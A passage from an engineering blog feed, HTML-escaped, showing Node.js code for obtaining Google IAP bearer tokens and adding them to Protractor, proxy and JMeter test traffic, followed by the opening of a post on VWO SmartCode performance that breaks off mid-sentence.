style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution&quot; aria-label=&quot;the solution permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Solution&lt;/h3&gt; &lt;p&gt;Fortunately, Google has made google auth libraries where all the above procedures are already implemented and are well abstracted. Searching google-auth-library would return results with their implementation in multiple languages. We used the &lt;a href=&quot;https://github.com/googleapis/google-auth-library-nodejs&quot;&gt;node library&lt;/a&gt; since we had our automation projects majorly implemented through protractor and javascript. The implementation looks something like this :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targetAudience &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;CLIENT_ID_GOES_HERE&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; GoogleAuth &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;google-auth-library&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; auth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;GoogleAuth&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getIdTokenClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targetAudience&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestHeaders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;headers&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; headers&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This was used to generate the &lt;strong&gt;Bearer&lt;/strong&gt; auth token that could then be further used in making requests to our test apps under automation testing.&lt;/p&gt; &lt;p&gt;In the app automation where we required browser instances from Protractor to run automations on test-apps, we made use of the node implementation of &lt;a href=&quot;https://github.com/zzo/browsermob-node&quot;&gt;browsermob-proxy&lt;/a&gt; along with the &lt;a href=&quot;https://github.com/lightbody/browsermob-proxy&quot;&gt;browsermob-proxy server&lt;/a&gt;. Using Protractor’s lifecycle method &lt;code class=&quot;language-text&quot;&gt;beforeAll&lt;/code&gt;, we made sure that the token is fetched and ready to be used before any of the spec files are executed.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;setIap&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;beforeAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;iapAuthToken &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;CLIENT_ID_GOES_HERE&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;params&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isRunOnTestApp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; targetAudience &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; auth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;GoogleAuth&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getIdTokenClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targetAudience&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestHeaders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; iapAuthToken &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Authorization&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then the global available value of this token was used to set the authorization header in the proxy spawned. We used the &lt;code class=&quot;language-text&quot;&gt;addHeader&lt;/code&gt; method for this.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; headersToSet &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; headersToSet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Authorization &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;iapAuthToken&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; proxy&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addHeader&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;port&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; headersToSet&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;err&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;err&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Error encountered&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; err&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;Headers added &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;headersToSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;resp&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This allowed us to add the authorization bearer token to every request that was being made through the Protractor browser instance.&lt;/p&gt; &lt;p&gt;The addition of the proxy option to protractor browser capabilities was done to have Protractor route all it’s browser requests through the proxy spawned at the designated &lt;code class=&quot;language-text&quot;&gt;host: port&lt;/code&gt; combination.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;proxy&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;proxyType&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;manual&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;httpProxy&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; `$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;this.params.proxyHost&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;this.params.proxyPort&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;`&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;sslProxy&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; `$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;this.params.proxyHost&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;this.params.proxyPort&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;` &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;In our Node.js-based automations, we were making use of the &lt;strong&gt;request&lt;/strong&gt; module to make API calls for their assertion. We overrode it to accommodate the addition of the authorization bearer token in every request that was being made.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;customRequest&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;options&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; base&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;params&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isRunOnTestApp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; headers&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Authorization&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; iapAuthToken&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; jar&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; jar&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; callback&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And for all our load tests that were being run through JMeter, we made use of a similar script as mentioned in the first example above. It generates the access token and writes it to a file. This file is then read by the JMX scripts while adding the authorization bearer token to all the network requests that are made through JMeter. Keeping in mind that these tokens have a short expiration, we generate the token and write them to the files as and when the load tests are run.&lt;/p&gt; &lt;h3 id=&quot;aftermath&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#aftermath&quot; aria-label=&quot;aftermath permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Aftermath&lt;/h3&gt; &lt;p&gt;The IAP is a good option to regulate access to private resources without having to implement a VPN tunneling. But throwing accessibility to automated agents in the mix created new interesting challenges here. There are some obvious pros to it:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Easy access regulation to resources&lt;/li&gt; &lt;li&gt;Fine-grained control of access through users&apos; and services&apos; IAM roles&lt;/li&gt; &lt;li&gt;Access through untrusted networks without the requirements of a VPN tunnel&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;But there are some cons that we discovered along the way of implementing programmatic authentication:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Slower execution speeds on private resources, a resultant of re-routing the access which is done to add authorization headers&lt;/li&gt; &lt;li&gt;Added overhead of handling authentication in automation tests, which does not cater to the user flow being tested. Users won&apos;t be accessing the actual app over IAP.&lt;/li&gt; &lt;/ol&gt;</content:encoded><author>Punit Goswami</author></item><item><title><![CDATA[Performance improvements in VWO SmartCode]]></title><description><![CDATA[VWO puts a lot of focus on ensuring websites remain performant enough while using VWO. We have been increasing the efforts in this area and…]]></description><link>https://engineering.wingify.com//posts/performance-improvements-in-vwo-smart-code/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/performance-improvements-in-vwo-smart-code/</guid><pubDate>Wed, 08 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;VWO puts a lot of focus on ensuring websites remain performant enough while using VWO. We have been increasing the efforts in this area and due to this, we are able to bring two very big optimizations which would directly reduce the impact on the performance of the websites.&lt;/p&gt; &lt;h2 id=&quot;jquery-dependency-removed&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#jquery-dependency-removed&quot; aria-label=&quot;jquery dependency removed permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;jQuery Dependency Removed&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://vwo.com/&quot;&gt;VWO&lt;/a&gt; primarily used to be an A/B testing tool (now a complete Experience Optimization Platform) wherein customers can apply changes to their websites using VWO’s editor without having to make changes in their website code. To achieve this we required a DOM manipulation and traversal library which was well supported on all the browsers and jQuery was the best choice back then.&lt;/p&gt; &lt;p&gt;It has served us well over the years but we could not update jQuery and were stuck with its version 1.4.2 because of a &lt;a href=&quot;https://help.vwo.com/hc/en-us/articles/360020730394-What-Is-VWO-Code-Editor&quot;&gt;feature&lt;/a&gt; we provide to our customers wherein they can use any API of jQuery(exposed by VWO as vwo_$). It 